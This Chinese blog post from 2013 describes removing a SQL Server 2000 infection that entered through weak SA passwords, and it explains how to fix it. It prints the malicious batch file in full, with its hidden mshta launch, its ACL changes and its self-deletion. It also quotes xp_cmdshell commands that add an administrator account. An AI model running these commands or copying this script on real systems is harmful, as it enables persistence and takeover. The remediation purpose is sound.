sql2000自动停止病毒windowsupdato.bat批处理解析
前两天帮一个朋友处理一个病毒的问题,因为也是第一次遇见,当时也折腾了我半天,所以把经验分享下来,以便后者对症下药。这个病毒实际上是利用SQL的空口令或弱口令注入式攻击。当朋友向我求救时,症状已经非常明显了:
1、sql2000服务过一会儿自动停止,重新启用后过一会儿又停止。
2、系统被添加了五六个帐户,其中还有隐藏帐户,而且个个被提权成管理员权限。
3、系统的远程帐户也被开启。
4、杀毒软件经常报有黑客攻击,且能被清除,实际上都是被替换的系统文件。
6、系统盘里有许多被感染的可执行文件,还有一些其它类似的批处理。
7、SQL的安全帐户里多了一个被提权的跟SA同权限的帐号
以上基本上就是很明显的症状了。经常搞维护的,看到这些基本上也能知道原因了。但是因为我帮他全是远程,所以有些问题不好弄,我是叫他自己处理的。当时是叫他参考了网上这篇文章http://bbs.51cto.com/thread-1012860-1.html,结果他硬是没搞掂,搞好后又有了。最后我只好一步步把方法说给他听,这里我们先看一下上面我说的批处理全文吧:
@echo off
if "%1" == "h" goto begin
mshta vbscrIPt:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exIT
:begin
REM
del c:\dOCume~1\alluse~1\「开始」菜单\程序\启动\360.bat
del c:\docume~1\alluse~1\「开始」菜单\程序\启动\360.vbs
copy c:\windows\system32\cacls.exe C:\WINDOWS\system32\Com\CINTLCA.IMD
c:\windows\system32\cacls.exe C:\WINDOWS\system32\Com\CINTLCA.IMD /e /g system:f
c:\windows\system32\cacls.exe C:\WINDOWS\system32\*.vbs /e /d system
c:\windows\system32\cacls.exe C:\WINDOWS\system32\*.inf /e /d system
c:\windows\system32\cacls.exe C:\WINDOWS\system32\*.bat /e /d system
c:\windows\system32\cacls.exe C:\WINDOWS\system32\*.txt /e /d system
c:\windows\system32\cacls.exe C:\WINDOWS\system32\cmd /e /d system
c:\windows\system32\cacls.exe C:\WINDOWS\system32\cmd.exe /e /d system
c:\windows\system32\cacls.exe C:\WINDOWS\system32\FTP.exe /e /d system
c:\windows\system32\cacls.exe C:\WINDOWS\system32\p.exe /e /d system
c:\windows\system32\cacls.exe c:\windows\help\akples.exe /e /d system
c:\windows\system32\cacls.exe c:\windows\system32\regsvr32.exe /e /g system:
c:\windows\system32\cacls.exe c:\windows\system32\urlmon.dll /e /g system:f
c:\windows\system32\cacls.exe c:\windows\system32\shdocvw.dll /e /g system:f
c:\windows\system32\cacls.exe c:\windows\system32\jscript.dll /e /g system:f
c:\windows\system32\cacls.exe c:\windows\system32\vbscript.dll /e /g system:f
c:\windows\system32\cacls.exe c:\windows\system32\wshom.ocx /e /g system:f
regsvr32 /u /s wshom.ocx scrrun.dll
regsvr32 /s wshom.ocx scrrun.dll
net2 start mssqlserver
net1 start mssqlserver
del c:\windows\system32\c_29403011.nls
del c:\windows\system\windowsupdato.bat
del %0
exit
这个就是我从他电脑上下过来的,就不用分析了,跟上面我叫他参考的文章说的几乎一样,其中的利害与否里面也说的特详细。上面的8大症状是必须解决的,因为这个是被植入了后门,所以联网操作是不可能彻底断根解决的,必须断网。现在我说一下我的处理步骤与方法,朋友按着此操作来终于平息了:
2、用最新杀毒软件和木马扫描软件全盘扫描,这样可以清除一些活动的病毒和木马,同时用360的一款防黑加固作下保护。
3、一些批处理文件扫不出来,去系统盘windows、system、system32下根据时间找出来直接删除。
4、清除启动项和注册表启动项,其中就有这个批处理。
5、接下来就是修复SQL或者重装SQL了,重装也好,修复也好,最安全的作法都是要给SA帐户设置复杂的密码,必须打SP4补丁,同时删除不需要的存储过程XP_cmdshell,还修改SQL默认端口号1433并隐藏服务器。下面我只说修复:
由于被病毒破坏了,所以这时SQL是不能修改密码的,会提示:错误2812:未能找到存储过程'sp_password',下边是解决代码,用WINDOWS身份验证登陆到SQL SERVER的查询工具,复制--粘贴--执行就OK拉。最后再修改复杂密码。
create procedure sp_password
@old sysname = NULL, -- the old (current) password
@new sysname, -- the new password
@loginame sysname = NULL -- user to change password on
as
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
declare @self int
select @self = CASE WHEN @loginame is null THEN 1 ELSE 2 END
-- RESOLVE LOGIN NAME
if @loginame is null
select @loginame = suser_sname()
-- CHECK PERMISSIONS (SecurityAdmin per Richard Waymire) --
IF (not is_srvrolemember('securityadmin') = 1)
AND not @self = 1
begin
dbcc auditevent (107, @self, 0, @loginame, NULL, NULL, NULL)
rAIserror(15210,-1,-1)
return (1)
end
ELSE
begin
dbcc auditevent (107, @self, 1, @loginame, NULL, NULL, NULL)
end
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,'sp_password')
return (1)
end
-- RESOLVE LOGIN NAME (disallows nt names)
if not exists (select * from master.dbo.syslogins where
loginname = @loginame and isntname = 0)
begin
raiserror(15007,-1,-1,@loginame)
return (1)
end
-- IF non-SYSADMIN ATTEMPTING CHANGE TO SYSADMIN, REQUIRE PASSWORD (218078) --
if (@self <> 1 AND is_srvrolemember('sysadmin') = 0 AND exists
(SELECT * FROM master.dbo.syslogins WHERE loginname = @loginame and isntname = 0
AND sysadmin = 1) )
SELECT @self = 1
-- CHECK OLD PASSWORD IF NEEDED --
if (@self = 1 or @old is not null)
if not exists (select * from master.dbo.sysxlogins
where srvid IS NULL and
name = @loginame and
( (@old is null and password is null) or
(pwdcompare(@old, password, (CASE WHEN xstatus&2048 = 2048 THEN 1 ELSE 0 END)) = 1) ) )
begin
raiserror(15211,-1,-1)
return (1)
end
-- CHANGE THE PASSWORD --
update master.dbo.sysxlogins
set password = convert(varbinary(256), pwdencrypt(@new)), xdate2 = getdate(), xstatus = xstatus & (~2048)
where name = @loginame and srvid IS NULL
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE SYSLOGINS CHANGE --
exec('use master grant all to null')
-- FINALIZATION: RETURN SUCCESS/FAILURE --
if @@error <> 0
return (1)
raiserror(15478,-1,-1)
return (0) -- sp_password
然后还有一步就是清除一个不必要的存储过程xp_cmdshell,这是个危险性最高的扩展存储过程,它可以执行操作系统的任何指令,而SA是 Microsoft SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值,比如执行:
exec master..xp_cmdshell 'net user test 1234 /add'和exec master..xp_cmdshell 'net localgroup administrators test /add'
这样对方的系统就被添加了一个用户名为test,密码为1234,有管理员权限的用户。8大症状中出现的被添加的系统帐户就是这样来的。
删除XP_cmdshell存储过程语句如下:
use master
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
密码改好,存储过程清除,最后一个安全的就是更改1433端口号同时隐藏服务器了(这个方法略了,自己可以g.cn或者度娘,实在不会你就留言吧),防止恶意扫描等。
6、以上五步作完,可重启电脑仍在断网情况下可再次扫描一次。直到杀软不再报为止。最后可以联网了,如果你还不放心可以再来一次全盘扫描,这样就基本上阻止了再次复发事件,问题彻底解决。
分类:电脑网络| 发布:xiadao81| 查看:3704 | 发表时间:2013-03-01
原创文章如转载,请注明:转载自龙三公子博客 https://www.mybabycastle.com/
本文链接:https://www.mybabycastle.com/post/242.html
龙三公子 2013-03-04 18:49:31 回复
本人亲测,如果你遇到了类似问题,可以这样一试,如果还有问题,请留言。欢迎再次光临。xiadao81 2013-03-02 15:50:06 回复
是的,被替换许多系统文件,扫描时可以修复的。成都减肥训练营 2014-04-04 00:49:49 回复
很不错,谢谢分享········noxEbixwebhosting 2013-03-03 18:37:37 回复
谢谢分享,看起来好强大的龙三公子 2013-03-04 18:49:31 回复
本人亲测,如果你遇到了类似问题,可以这样一试,如果还有问题,请留言。欢迎再次光临。减肥药 2013-03-02 15:29:17 回复
替换的系统文件xiadao81 2013-03-02 15:50:06 回复
是的,被替换许多系统文件,扫描时可以修复的。